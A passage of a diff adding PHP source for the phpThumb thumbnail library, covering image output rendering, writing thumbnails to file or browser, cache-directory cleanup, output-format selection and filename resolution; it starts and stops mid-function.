+//				if (ereg('^bord\|([0-9]+)', $value, $matches)) {
+//					$borderThickness = $matches[1];
+//					break;
+//				}
+//			}
+//		}
+//		if ($borderThickness > 0) {
+//			//$this->DebugMessage('Skipping ImageResizeFunction() because BorderThickness="'.$borderThickness.'"', __FILE__, __LINE__);
+//			$this->thumbnail_image_height /= 2;
+//		}
+		$this->ImageResizeFunction(
+			$this->gdimg_output,
+			$this->gdimg_source,
+			$destination_offset_x,
+			$destination_offset_y,
+			$this->thumbnailCropX,
+			$this->thumbnailCropY,
+			$this->thumbnail_image_width,
+			$this->thumbnail_image_height,
+			$this->thumbnailCropW,
+			$this->thumbnailCropH
+		);
+
+		$this->DebugMessage('memory_get_usage() after copy-resize = '.(function_exists('memory_get_usage') ? @memory_get_usage() : 'n/a'), __FILE__, __LINE__);
+		ImageDestroy($this->gdimg_source);
+		$this->DebugMessage('memory_get_usage() after ImageDestroy = '.(function_exists('memory_get_usage') ? @memory_get_usage() : 'n/a'), __FILE__, __LINE__);
+
+			$this->phpThumbDebug('8i');
+		$this->AntiOffsiteLinking();
+			$this->phpThumbDebug('8j');
+		$this->ApplyFilters();
+			$this->phpThumbDebug('8k');
+		$this->AlphaChannelFlatten();
+			$this->phpThumbDebug('8l');
+		$this->MaxFileSize();
+			$this->phpThumbDebug('8m');
+
+		$this->DebugMessage('GenerateThumbnail() completed successfully', __FILE__, __LINE__);
+		return true;
+	}
+
+
+	// public:
+	function RenderOutput() {
+		if (!$this->useRawIMoutput && !is_resource($this->gdimg_output)) {
+			$this->DebugMessage('RenderOutput() failed because !is_resource($this->gdimg_output)', __FILE__, __LINE__);
+			return false;
+		}
+		if (!$this->thumbnailFormat) {
+			$this->DebugMessage('RenderOutput() failed because $this->thumbnailFormat is empty', __FILE__, __LINE__);
+			return false;
+		}
+		if ($this->useRawIMoutput) {
+			$this->DebugMessage('RenderOutput copying $this->IMresizedData ('.strlen($this->IMresizedData).' bytes) to $this->outputImage', __FILE__, __LINE__);
+			$this->outputImageData = $this->IMresizedData;
+			return true;
+		}
+
+		$builtin_formats = array();
+		if (function_exists('ImageTypes')) {
+			$imagetypes = ImageTypes();
+			$builtin_formats['wbmp'] = (bool) ($imagetypes & IMG_WBMP);
+			$builtin_formats['jpg']  = (bool) ($imagetypes & IMG_JPG);
+			$builtin_formats['gif']  = (bool) ($imagetypes & IMG_GIF);
+			$builtin_formats['png']  = (bool) ($imagetypes & IMG_PNG);
+		}
+		$this->DebugMessage('RenderOutput() attempting Image'.strtoupper(@$this->thumbnailFormat).'($this->gdimg_output)', __FILE__, __LINE__);
+		ob_start();
+		switch ($this->thumbnailFormat) {
+			case 'wbmp':
+				if (!@$builtin_formats['wbmp']) {
+					$this->DebugMessage('GD does not have required built-in support for WBMP output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				ImageJPEG($this->gdimg_output, null, $this->thumbnailQuality);
+				$this->outputImageData = ob_get_contents();
+				break;
+
+			case 'jpeg':
+			case 'jpg':  // should be "jpeg" not "jpg" but just in case...
+				if (!@$builtin_formats['jpg']) {
+					$this->DebugMessage('GD does not have required built-in support for JPEG output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				ImageJPEG($this->gdimg_output, null, $this->thumbnailQuality);
+				$this->outputImageData = ob_get_contents();
+				break;
+
+			case 'png':
+				if (!@$builtin_formats['png']) {
+					$this->DebugMessage('GD does not have required built-in support for PNG output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				ImagePNG($this->gdimg_output);
+				$this->outputImageData = ob_get_contents();
+				break;
+
+			case 'gif':
+				if (!@$builtin_formats['gif']) {
+					$this->DebugMessage('GD does not have required built-in support for GIF output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				ImageGIF($this->gdimg_output);
+				$this->outputImageData = ob_get_contents();
+				break;
+
+			case 'bmp':
+				$ImageOutFunction = '"builtin BMP output"';
+				if (!@include_once(dirname(__FILE__).'/phpthumb.bmp.php')) {
+					$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.bmp.php" which is required for BMP format output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				$phpthumb_bmp = new phpthumb_bmp();
+				$this->outputImageData = $phpthumb_bmp->GD2BMPstring($this->gdimg_output);
+				unset($phpthumb_bmp);
+				break;
+
+			case 'ico':
+				$ImageOutFunction = '"builtin ICO output"';
+				if (!@include_once(dirname(__FILE__).'/phpthumb.ico.php')) {
+					$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.ico.php" which is required for ICO format output', __FILE__, __LINE__);
+					ob_end_clean();
+					return false;
+				}
+				$phpthumb_ico = new phpthumb_ico();
+				$arrayOfOutputImages = array($this->gdimg_output);
+				$this->outputImageData = $phpthumb_ico->GD2ICOstring($arrayOfOutputImages);
+				unset($phpthumb_ico);
+				break;
+
+			default:
+				$this->DebugMessage('RenderOutput failed because $this->thumbnailFormat "'.$this->thumbnailFormat.'" is not valid', __FILE__, __LINE__);
+				ob_end_clean();
+				return false;
+		}
+		ob_end_clean();
+		if (!$this->outputImageData) {
+			$this->DebugMessage('RenderOutput() for "'.$this->thumbnailFormat.'" failed', __FILE__, __LINE__);
+			ob_end_clean();
+			return false;
+		}
+		$this->DebugMessage('RenderOutput() completing with $this->outputImageData = '.strlen($this->outputImageData).' bytes', __FILE__, __LINE__);
+		return true;
+	}
+
+
+	// public:
+	function RenderToFile($filename) {
+		if (eregi('^(f|ht)tps?\://', $filename)) {
+			$this->DebugMessage('RenderToFile() failed because $filename ('.$filename.') is a URL', __FILE__, __LINE__);
+			return false;
+		}
+		// render thumbnail to this file only, do not cache, do not output to browser
+		//$renderfilename = $this->ResolveFilenameToAbsolute(dirname($filename)).DIRECTORY_SEPARATOR.basename($filename);
+		$renderfilename = $filename;
+		if (($filename{0} != '/') && ($filename{0} != '\\') && ($filename{1} != ':')) {
+			$renderfilename = $this->ResolveFilenameToAbsolute($renderfilename);
+		}
+		if (!@is_writable(dirname($renderfilename))) {
+			$this->DebugMessage('RenderToFile() failed because "'.dirname($renderfilename).'/" is not writable', __FILE__, __LINE__);
+			return false;
+		}
+		if (@is_file($renderfilename) && !@is_writable($renderfilename)) {
+			$this->DebugMessage('RenderToFile() failed because "'.$renderfilename.'" is not writable', __FILE__, __LINE__);
+			return false;
+		}
+
+		if ($this->RenderOutput()) {
+			if (file_put_contents($renderfilename, $this->outputImageData)) {
+				$this->DebugMessage('RenderToFile('.$renderfilename.') succeeded', __FILE__, __LINE__);
+				return true;
+			}
+			if (!@file_exists($renderfilename)) {
+				$this->DebugMessage('RenderOutput ['.$this->thumbnailFormat.'('.$renderfilename.')] did not appear to fail, but the output image does not exist either...', __FILE__, __LINE__);
+			}
+		} else {
+			$this->DebugMessage('RenderOutput ['.$this->thumbnailFormat.'('.$renderfilename.')] failed', __FILE__, __LINE__);
+		}
+		return false;
+	}
+
+
+	// public:
+	function OutputThumbnail() {
+		if (!$this->useRawIMoutput && !is_resource($this->gdimg_output)) {
+			$this->DebugMessage('OutputThumbnail() failed because !is_resource($this->gdimg_output)', __FILE__, __LINE__);
+			return false;
+		}
+		if (headers_sent()) {
+			return $this->ErrorImage('OutputThumbnail() failed - headers already sent');
+			exit;
+		}
+
+		$downloadfilename = phpthumb_functions::SanitizeFilename(is_string($this->sia) ? $this->sia : ($this->down ? $this->down : 'phpThumb_generated_thumbnail'.'.'.$this->thumbnailFormat));
+		$this->DebugMessage('Content-Disposition header filename set to "'.$downloadfilename.'"', __FILE__, __LINE__);
+		if ($downloadfilename) {
+			header('Content-Disposition: '.($this->down ? 'attachment' : 'inline').'; filename="'.$downloadfilename.'"');
+		} else {
+			$this->DebugMessage('failed to send Content-Disposition header because $downloadfilename is empty', __FILE__, __LINE__);
+		}
+
+		if ($this->useRawIMoutput) {
+
+			header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
+			echo $this->IMresizedData;
+
+		} else {
+
+			$this->DebugMessage('ImageInterlace($this->gdimg_output, '.intval($this->config_output_interlace).')', __FILE__, __LINE__);
+			ImageInterlace($this->gdimg_output, intval($this->config_output_interlace));
+			switch ($this->thumbnailFormat) {
+				case 'jpeg':
+					header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
+					$ImageOutFunction = 'image'.$this->thumbnailFormat;
+					@$ImageOutFunction($this->gdimg_output, '', $this->thumbnailQuality);
+					break;
+
+				case 'png':
+				case 'gif':
+					header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
+					$ImageOutFunction = 'image'.$this->thumbnailFormat;
+					@$ImageOutFunction($this->gdimg_output);
+					break;
+
+				case 'bmp':
+					if (!@include_once(dirname(__FILE__).'/phpthumb.bmp.php')) {
+						$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.bmp.php" which is required for BMP format output', __FILE__, __LINE__);
+						return false;
+					}
+					$phpthumb_bmp = new phpthumb_bmp();
+					if (is_object($phpthumb_bmp)) {
+						$bmp_data = $phpthumb_bmp->GD2BMPstring($this->gdimg_output);
+						unset($phpthumb_bmp);
+						if (!$bmp_data) {
+							$this->DebugMessage('$phpthumb_bmp->GD2BMPstring() failed', __FILE__, __LINE__);
+							return false;
+						}
+						header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
+						echo $bmp_data;
+					} else {
+						$this->DebugMessage('new phpthumb_bmp() failed', __FILE__, __LINE__);
+						return false;
+					}
+					break;
+
+				case 'ico':
+					if (!@include_once(dirname(__FILE__).'/phpthumb.ico.php')) {
+						$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.ico.php" which is required for ICO format output', __FILE__, __LINE__);
+						return false;
+					}
+					$phpthumb_ico = new phpthumb_ico();
+					if (is_object($phpthumb_ico)) {
+						$arrayOfOutputImages = array($this->gdimg_output);
+						$ico_data = $phpthumb_ico->GD2ICOstring($arrayOfOutputImages);
+						unset($phpthumb_ico);
+						if (!$ico_data) {
+							$this->DebugMessage('$phpthumb_ico->GD2ICOstring() failed', __FILE__, __LINE__);
+							return false;
+						}
+						header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($this->thumbnailFormat));
+						echo $ico_data;
+					} else {
+						$this->DebugMessage('new phpthumb_ico() failed', __FILE__, __LINE__);
+						return false;
+					}
+					break;
+
+				default:
+					$this->DebugMessage('OutputThumbnail failed because $this->thumbnailFormat "'.$this->thumbnailFormat.'" is not valid', __FILE__, __LINE__);
+					return false;
+					break;
+			}
+
+		}
+		return true;
+	}
+
+
+	// public:
+	function CleanUpCacheDirectory() {
+		$this->DebugMessage('skipping CleanUpCacheDirectory() set to purge ('.number_format($this->config_cache_maxage / 86400, 1).' days; '.number_format($this->config_cache_maxsize / 1048576, 2).'MB; '.number_format($this->config_cache_maxfiles).' files)', __FILE__, __LINE__);
+		$DeletedKeys = array();
+		$AllFilesInCacheDirectory = array();
+		if (($this->config_cache_maxage > 0) || ($this->config_cache_maxsize > 0) || ($this->config_cache_maxfiles > 0)) {
+			$CacheDirOldFilesAge  = array();
+			$CacheDirOldFilesSize = array();
+			$AllFilesInCacheDirectory = phpthumb_functions::GetAllFilesInSubfolders($this->config_cache_directory);
+			foreach ($AllFilesInCacheDirectory as $fullfilename) {
+				if (eregi('^phpThumb_cache_', basename($fullfilename)) && file_exists($fullfilename)) {
+					$CacheDirOldFilesAge[$fullfilename] = @fileatime($fullfilename);
+					if ($CacheDirOldFilesAge[$fullfilename] == 0) {
+						$CacheDirOldFilesAge[$fullfilename] = @filemtime($fullfilename);
+					}
+					$CacheDirOldFilesSize[$fullfilename] = @filesize($fullfilename);
+				}
+			}
+			if (empty($CacheDirOldFilesSize)) {
+				return true;
+			}
+			$DeletedKeys['zerobyte'] = array();
+			foreach ($CacheDirOldFilesSize as $fullfilename => $filesize) {
+				// purge all zero-size files more than an hour old (to prevent trying to delete just-created and/or in-use files)
+				$cutofftime = time() - 3600;
+				if (($filesize == 0) && ($CacheDirOldFilesAge[$fullfilename] < $cutofftime)) {
+					$this->DebugMessage('deleting "'.$fullfilename.'"', __FILE__, __LINE__);
+					if (@unlink($fullfilename)) {
+						$DeletedKeys['zerobyte'][] = $fullfilename;
+						unset($CacheDirOldFilesSize[$fullfilename]);
+						unset($CacheDirOldFilesAge[$fullfilename]);
+					}
+				}
+			}
+			$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['zerobyte']).' zero-byte files', __FILE__, __LINE__);
+			asort($CacheDirOldFilesAge);
+
+			if ($this->config_cache_maxfiles > 0) {
+				$TotalCachedFiles = count($CacheDirOldFilesAge);
+				$DeletedKeys['maxfiles'] = array();
+				foreach ($CacheDirOldFilesAge as $fullfilename => $filedate) {
+					if ($TotalCachedFiles > $this->config_cache_maxfiles) {
+						$this->DebugMessage('deleting "'.$fullfilename.'"', __FILE__, __LINE__);
+						if (@unlink($fullfilename)) {
+							$TotalCachedFiles--;
+							$DeletedKeys['maxfiles'][] = $fullfilename;
+						}
+					} else {
+						// there are few enough files to keep the rest
+						break;
+					}
+				}
+				$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxfiles']).' files based on (config_cache_maxfiles='.$this->config_cache_maxfiles.')', __FILE__, __LINE__);
+				foreach ($DeletedKeys['maxfiles'] as $fullfilename) {
+					unset($CacheDirOldFilesAge[$fullfilename]);
+					unset($CacheDirOldFilesSize[$fullfilename]);
+				}
+			}
+
+			if ($this->config_cache_maxage > 0) {
+				$mindate = time() - $this->config_cache_maxage;
+				$DeletedKeys['maxage'] = array();
+				foreach ($CacheDirOldFilesAge as $fullfilename => $filedate) {
+					if ($filedate > 0) {
+						if ($filedate < $mindate) {
+							$this->DebugMessage('deleting "'.$fullfilename.'"', __FILE__, __LINE__);
+							if (@unlink($fullfilename)) {
+								$DeletedKeys['maxage'][] = $fullfilename;
+							}
+						} else {
+							// the rest of the files are new enough to keep
+							break;
+						}
+					}
+				}
+				$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxage']).' files based on (config_cache_maxage='.$this->config_cache_maxage.')', __FILE__, __LINE__);
+				foreach ($DeletedKeys['maxage'] as $fullfilename) {
+					unset($CacheDirOldFilesAge[$fullfilename]);
+					unset($CacheDirOldFilesSize[$fullfilename]);
+				}
+			}
+
+			if ($this->config_cache_maxsize > 0) {
+				$TotalCachedFileSize = array_sum($CacheDirOldFilesSize);
+				$DeletedKeys['maxsize'] = array();
+				foreach ($CacheDirOldFilesAge as $fullfilename => $filedate) {
+					if ($TotalCachedFileSize > $this->config_cache_maxsize) {
+						$this->DebugMessage('deleting "'.$fullfilename.'"', __FILE__, __LINE__);
+						if (@unlink($fullfilename)) {
+							$TotalCachedFileSize -= $CacheDirOldFilesSize[$fullfilename];
+							$DeletedKeys['maxsize'][] = $fullfilename;
+						}
+					} else {
+						// the total filesizes are small enough to keep the rest of the files
+						break;
+					}
+				}
+				$this->DebugMessage('CleanUpCacheDirectory() purged '.count($DeletedKeys['maxsize']).' files based on (config_cache_maxsize='.$this->config_cache_maxsize.')', __FILE__, __LINE__);
+				foreach ($DeletedKeys['maxsize'] as $fullfilename) {
+					unset($CacheDirOldFilesAge[$fullfilename]);
+					unset($CacheDirOldFilesSize[$fullfilename]);
+				}
+			}
+
+		} else {
+			$this->DebugMessage('skipping CleanUpCacheDirectory() because config set to not use it', __FILE__, __LINE__);
+		}
+		$totalpurged = 0;
+		foreach ($DeletedKeys as $key => $value) {
+			$totalpurged += count($value);
+		}
+		$this->DebugMessage('CleanUpCacheDirectory() purged '.$totalpurged.' files (from '.count($AllFilesInCacheDirectory).') based on config settings', __FILE__, __LINE__);
+		if ($totalpurged > 0) {
+			$empty_dirs = array();
+			foreach ($AllFilesInCacheDirectory as $fullfilename) {
+				if (is_dir($fullfilename)) {
+					$empty_dirs[realpath($fullfilename)] = 1;
+				} else {
+					unset($empty_dirs[realpath(dirname($fullfilename))]);
+				}
+			}
+			krsort($empty_dirs);
+			$totalpurgeddirs = 0;
+			foreach ($empty_dirs as $empty_dir => $dummy) {
+				if ($empty_dir == $this->config_cache_directory) {
+					// shouldn't happen, but just in case, don't let it delete actual cache directory
+					continue;
+				} elseif (@rmdir($empty_dir)) {
+					$totalpurgeddirs++;
+				} else {
+					$this->DebugMessage('failed to rmdir('.$empty_dir.')', __FILE__, __LINE__);
+				}
+			}
+			$this->DebugMessage('purged '.$totalpurgeddirs.' empty directories', __FILE__, __LINE__);
+		}
+		return true;
+	}
+
+	//////////////////////////////////////////////////////////////////////
+
+	// private: re-initializator (call between rendering multiple images with one object)
+	function resetObject() {
+		$class_vars = get_class_vars(get_class($this));
+		foreach ($class_vars as $key => $value) {
+			// do not clobber debug or config info
+			if (!eregi('^(config_|debug|fatalerror)', $key)) {
+				$this->$key = $value;
+			}
+		}
+		$this->phpThumb(); // re-initialize some class variables
+		return true;
+	}
+
+	//////////////////////////////////////////////////////////////////////
+
+	function ResolveSource() {
+		if (is_resource($this->gdimg_source)) {
+			$this->DebugMessage('ResolveSource() exiting because is_resource($this->gdimg_source)', __FILE__, __LINE__);
+			return true;
+		}
+		if ($this->rawImageData) {
+			$this->sourceFilename = null;
+			$this->DebugMessage('ResolveSource() exiting because $this->rawImageData is set ('.number_format(strlen($this->rawImageData)).' bytes)', __FILE__, __LINE__);
+			return true;
+		}
+		if ($this->sourceFilename) {
+			$this->sourceFilename = $this->ResolveFilenameToAbsolute($this->sourceFilename);
+			$this->DebugMessage('$this->sourceFilename set to "'.$this->sourceFilename.'"', __FILE__, __LINE__);
+		} elseif ($this->src) {
+			$this->sourceFilename = $this->ResolveFilenameToAbsolute($this->src);
+			$this->DebugMessage('$this->sourceFilename set to "'.$this->sourceFilename.'" from $this->src ('.$this->src.')', __FILE__, __LINE__);
+		} else {
+			return $this->ErrorImage('$this->sourceFilename and $this->src are both empty');
+		}
+		if ($this->iswindows && ((substr($this->sourceFilename, 0, 2) == '//') || (substr($this->sourceFilename, 0, 2) == '\\\\'))) {
+			// Windows \\share\filename.ext
+		} elseif (eregi('^(f|ht)tps?\://', $this->sourceFilename)) {
+			// URL
+			if ($this->config_http_user_agent) {
+				ini_set('user_agent', $this->config_http_user_agent);
+			}
+		} elseif (!@file_exists($this->sourceFilename)) {
+			return $this->ErrorImage('"'.$this->sourceFilename.'" does not exist');
+		} elseif (!@is_file($this->sourceFilename)) {
+			return $this->ErrorImage('"'.$this->sourceFilename.'" is not a file');
+		}
+		return true;
+	}
+
+	function setOutputFormat() {
+		static $alreadyCalled = false;
+		if ($this->thumbnailFormat && $alreadyCalled) {
+			return true;
+		}
+		$alreadyCalled = true;
+
+		$AvailableImageOutputFormats = array();
+		$AvailableImageOutputFormats[] = 'text';
+		if (@is_readable(dirname(__FILE__).'/phpthumb.ico.php')) {
+			$AvailableImageOutputFormats[] = 'ico';
+		}
+		if (@is_readable(dirname(__FILE__).'/phpthumb.bmp.php')) {
+			$AvailableImageOutputFormats[] = 'bmp';
+		}
+
+		$this->thumbnailFormat = 'ico';
+
+		// Set default output format based on what image types are available
+		if (function_exists('ImageTypes')) {
+			$imagetypes = ImageTypes();
+			if ($imagetypes & IMG_WBMP) {
+				$this->thumbnailFormat         = 'wbmp';
+				$AvailableImageOutputFormats[] = 'wbmp';
+			}
+			if ($imagetypes & IMG_GIF) {
+				$this->thumbnailFormat         = 'gif';
+				$AvailableImageOutputFormats[] = 'gif';
+			}
+			if ($imagetypes & IMG_PNG) {
+				$this->thumbnailFormat         = 'png';
+				$AvailableImageOutputFormats[] = 'png';
+			}
+			if ($imagetypes & IMG_JPG) {
+				$this->thumbnailFormat         = 'jpeg';
+				$AvailableImageOutputFormats[] = 'jpeg';
+			}
+		} else {
+			//return $this->ErrorImage('ImageTypes() does not exist - GD support might not be enabled?');
+			$this->DebugMessage('ImageTypes() does not exist - GD support might not be enabled?',  __FILE__, __LINE__);
+		}
+		if ($this->ImageMagickVersion()) {
+			$IMformats = array('jpeg', 'png', 'gif', 'bmp', 'ico', 'wbmp');
+			$this->DebugMessage('Addding ImageMagick formats to $AvailableImageOutputFormats ('.implode(';', $AvailableImageOutputFormats).')', __FILE__, __LINE__);
+			foreach ($IMformats as $key => $format) {
+				$AvailableImageOutputFormats[] = $format;
+			}
+		}
+		$AvailableImageOutputFormats = array_unique($AvailableImageOutputFormats);
+		$this->DebugMessage('$AvailableImageOutputFormats = array('.implode(';', $AvailableImageOutputFormats).')', __FILE__, __LINE__);
+
+		$this->f = ereg_replace('[^a-z]', '', strtolower($this->f));
+		if (strtolower($this->config_output_format) == 'jpg') {
+			$this->config_output_format = 'jpeg';
+		}
+		if (strtolower($this->f) == 'jpg') {
+			$this->f = 'jpeg';
+		}
+		if (phpthumb_functions::CaseInsensitiveInArray($this->config_output_format, $AvailableImageOutputFormats)) {
+			// set output format to config default if that format is available
+			$this->DebugMessage('$this->thumbnailFormat set to $this->config_output_format "'.strtolower($this->config_output_format).'"', __FILE__, __LINE__);
+			$this->thumbnailFormat = strtolower($this->config_output_format);
+		} elseif ($this->config_output_format) {
+			$this->DebugMessage('$this->thumbnailFormat staying as "'.$this->thumbnailFormat.'" because $this->config_output_format ('.strtolower($this->config_output_format).') is not in $AvailableImageOutputFormats', __FILE__, __LINE__);
+		}
+		if ($this->f && (phpthumb_functions::CaseInsensitiveInArray($this->f, $AvailableImageOutputFormats))) {
+			// override output format if $this->f is set and that format is available
+			$this->DebugMessage('$this->thumbnailFormat set to $this->f "'.strtolower($this->f).'"', __FILE__, __LINE__);
+			$this->thumbnailFormat = strtolower($this->f);
+		} elseif ($this->f) {
+			$this->DebugMessage('$this->thumbnailFormat staying as "'.$this->thumbnailFormat.'" because $this->f ('.strtolower($this->f).') is not in $AvailableImageOutputFormats', __FILE__, __LINE__);
+		}
+
+		// for JPEG images, quality 1 (worst) to 99 (best)
+		// quality < 25 is nasty, with not much size savings - not recommended
+		// problems with 100 - invalid JPEG?
+		$this->thumbnailQuality = max(1, min(99, ($this->q ? $this->q : 75)));
+		$this->DebugMessage('$this->thumbnailQuality set to "'.$this->thumbnailQuality.'"', __FILE__, __LINE__);
+
+		return true;
+	}
+
+	function setCacheDirectory() {
+		// resolve cache directory to absolute pathname
+		$this->DebugMessage('setCacheDirectory() starting with config_cache_directory = "'.$this->config_cache_directory.'"', __FILE__, __LINE__);
+		if (substr($this->config_cache_directory, 0, 1) == '.') {
+			if (eregi('^(f|ht)tps?\://', $this->src)) {
+				if (!$this->config_cache_disable_warning) {
+					$this->ErrorImage('$this->config_cache_directory ('.$this->config_cache_directory.') cannot be used for remote images. Adjust "cache_directory" or "cache_disable_warning" in phpThumb.config.php');
+				}
+			} elseif ($this->src) {
+				// resolve relative cache directory to source image
+				$this->config_cache_directory = dirname($this->ResolveFilenameToAbsolute($this->src)).DIRECTORY_SEPARATOR.$this->config_cache_directory;
+			} else {
+				// $this->new is probably set
+			}
+		}
+		if (substr($this->config_cache_directory, -1) == '/') {
+			$this->config_cache_directory = substr($this->config_cache_directory, 0, -1);
+		}
+		if ($this->iswindows) {
+			$this->config_cache_directory = str_replace('/', DIRECTORY_SEPARATOR, $this->config_cache_directory);
+		}
+		if ($this->config_cache_directory) {
+			$real_cache_path = realpath($this->config_cache_directory);
+			if (!$real_cache_path) {
+				$this->DebugMessage('realpath($this->config_cache_directory) failed for "'.$this->config_cache_directory.'"', __FILE__, __LINE__);
+				if (!is_dir($this->config_cache_directory)) {
+					$this->DebugMessage('!is_dir('.$this->config_cache_directory.')', __FILE__, __LINE__);
+				}
+			}
+			if ($real_cache_path) {
+				$this->DebugMessage('setting config_cache_directory to realpath('.$this->config_cache_directory.') = "'.$real_cache_path.'"', __FILE__, __LINE__);
+				$this->config_cache_directory = $real_cache_path;
+			}
+		}
+		if (!is_dir($this->config_cache_directory)) {
+			if (!$this->config_cache_disable_warning) {
+				$this->ErrorImage('$this->config_cache_directory ('.$this->config_cache_directory.') does not exist. Adjust "cache_directory" or "cache_disable_warning" in phpThumb.config.php');
+			}
+			$this->DebugMessage('$this->config_cache_directory ('.$this->config_cache_directory.') is not a directory', __FILE__, __LINE__);
+			$this->config_cache_directory = null;
+		} elseif (!@is_writable($this->config_cache_directory)) {
+			$this->DebugMessage('$this->config_cache_directory is not writable ('.$this->config_cache_directory.')', __FILE__, __LINE__);
+		}
+
+		$this->InitializeTempDirSetting();
+		if (!@is_dir($this->config_temp_directory) && !@is_writable($this->config_temp_directory) && @is_dir($this->config_cache_directory) && @is_writable($this->config_cache_directory)) {
+			$this->DebugMessage('setting $this->config_temp_directory = $this->config_cache_directory ('.$this->config_cache_directory.')', __FILE__, __LINE__);
+			$this->config_temp_directory = $this->config_cache_directory;
+		}
+		return true;
+	}
+
+
+	function ResolveFilenameToAbsolute($filename) {
+		if (!$filename) {
+			return false;
+		}
+
+		//if (eregi('^(f|ht)tps?\://', $filename)) {
+		if (eregi('^[a-z0-9]+\:/{1,2}', $filename)) {
+			// eg: http://host/path/file.jpg (HTTP URL)
+			// eg: ftp://host/path/file.jpg  (FTP URL)
+			// eg: data1:/path/file.jpg      (Netware path)
+
+			//$AbsoluteFilename = $filename;
+			return $filename;
+
+		} elseif ($this->iswindows && ($filename{1} == ':')) {
+
+			// absolute pathname (Windows)
+			$AbsoluteFilename = $filename;
+
+		} elseif ($this->iswindows && ((substr($filename, 0, 2) == '//') || (substr($filename, 0, 2) == '\\\\'))) {
+
+			// absolute pathname (Windows)
+			$AbsoluteFilename = $filename;
+
+		} elseif ($filename{0} == '/') {
+
+			if (@is_readable($filename) && !@is_readable($this->config_document_root.$filename)) {
+
+				// absolute filename (*nix)
+				$AbsoluteFilename = $filename;
+
+			} elseif ($filename{1} == '~') {
+
+				// /~user/path
+				if ($ApacheLookupURIarray = phpthumb_functions::ApacheLookupURIarray($filename)) {
+					$AbsoluteFilename = $ApacheLookupURIarray['filename'];
+				} else {
+					$AbsoluteFilename = realpath($filename);
+					if (@is_readable($AbsoluteFilename)) {
+						$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.$filename.'", but the correct filename ('.$AbsoluteFilename.') seems to have been resolved with realpath($filename)', __FILE__, __LINE__);
+					} elseif (is_dir(dirname($AbsoluteFilename))) {
+						$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname($filename).'", but the correct directory ('.dirname($AbsoluteFilename).') seems to have been resolved with realpath(.)', __FILE__, __LINE__);
+					} else {
+						return $this->ErrorImage('phpthumb_functions::ApacheLookupURIarray() failed for "'.$filename.'". This has been known to fail on Apache2 - try using the absolute filename for the source image (ex: "/home/user/httpdocs/image.jpg" instead of "/~user/image.jpg")');
+					}
+				}
+
+			} else {
+
+				// relative filename (any OS)
+				if (ereg('^'.preg_quote($this->config_document_root), $filename)) {
+					$AbsoluteFilename = $filename;
+					$this->DebugMessage('ResolveFilenameToAbsolute() NOT prepending $this->config_document_root ('.$this->config_document_root.') to $filename ('.$filename.') resulting in ($AbsoluteFilename = "'.$AbsoluteFilename.'")', __FILE__, __LINE__);
+				} else {
+					$AbsoluteFilename = $this->config_document_root.$filename;
+					$this->DebugMessage('ResolveFilenameToAbsolute() prepending $this->config_document_root ('.$this->config_document_root.') to $filename ('.$filename.') resulting in ($AbsoluteFilename = "'.$AbsoluteFilename.'")', __FILE__, __LINE__);
+				}
+
+			}
+
+		} else {
+
+			// relative to current directory (any OS)
+			$AbsoluteFilename = $this->config_document_root.dirname(@$_SERVER['PHP_SELF']).DIRECTORY_SEPARATOR.$filename;
+			//if (!@file_exists($AbsoluteFilename) && @file_exists(realpath($this->DotPadRelativeDirectoryPath($filename)))) {
+			//	$AbsoluteFilename = realpath($this->DotPadRelativeDirectoryPath($filename));
+			//}
+
+			if (substr(dirname(@$_SERVER['PHP_SELF']), 0, 2) == '/~') {
+				if ($ApacheLookupURIarray = phpthumb_functions::ApacheLookupURIarray(dirname(@$_SERVER['PHP_SELF']))) {
+					$AbsoluteFilename = $ApacheLookupURIarray['filename'].DIRECTORY_SEPARATOR.$filename;
+				} else {
+					$AbsoluteFilename = realpath('.').DIRECTORY_SEPARATOR.$filename;
+					if (@is_readable($AbsoluteFilename)) {
+						$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'", but the correct filename ('.$AbsoluteFilename.') seems to have been resolved with realpath(.)/$filename', __FILE__, __LINE__);
+					} elseif (is_dir(dirname($AbsoluteFilename))) {
+						$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'", but the correct directory ('.dirname($AbsoluteFilename).') seems to have been resolved with realpath(.)', __FILE__, __LINE__);
+					} else {
+						return $this->ErrorImage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'". This has been known to fail on Apache2 - try using the absolute filename for the source image');
+					}
+				}
+			}
+
+		}
+		if (is_link($AbsoluteFilename)) {
+			$this->DebugMessage('is_link()==true, changing "'.$AbsoluteFilename.'" to "'.readlink($AbsoluteFilename).'"', __FILE__, __LINE__);
+			$AbsoluteFilename = readlink($AbsoluteFilename);
+		}
+		if (realpath($AbsoluteFilename)) {
+			$AbsoluteFilename = realpath($AbsoluteFilename);
+		}
+		if ($this->iswindows) {
+			$AbsoluteFilename = eregi_replace('^'.preg_quote(realpath($this->config_document_root)), realpath($this->config_document_root), $AbsoluteFilename);
+			$AbsoluteFilename = str_replace(DIRECTORY_SEPARATOR, '/', $AbsoluteFilename);
+		}
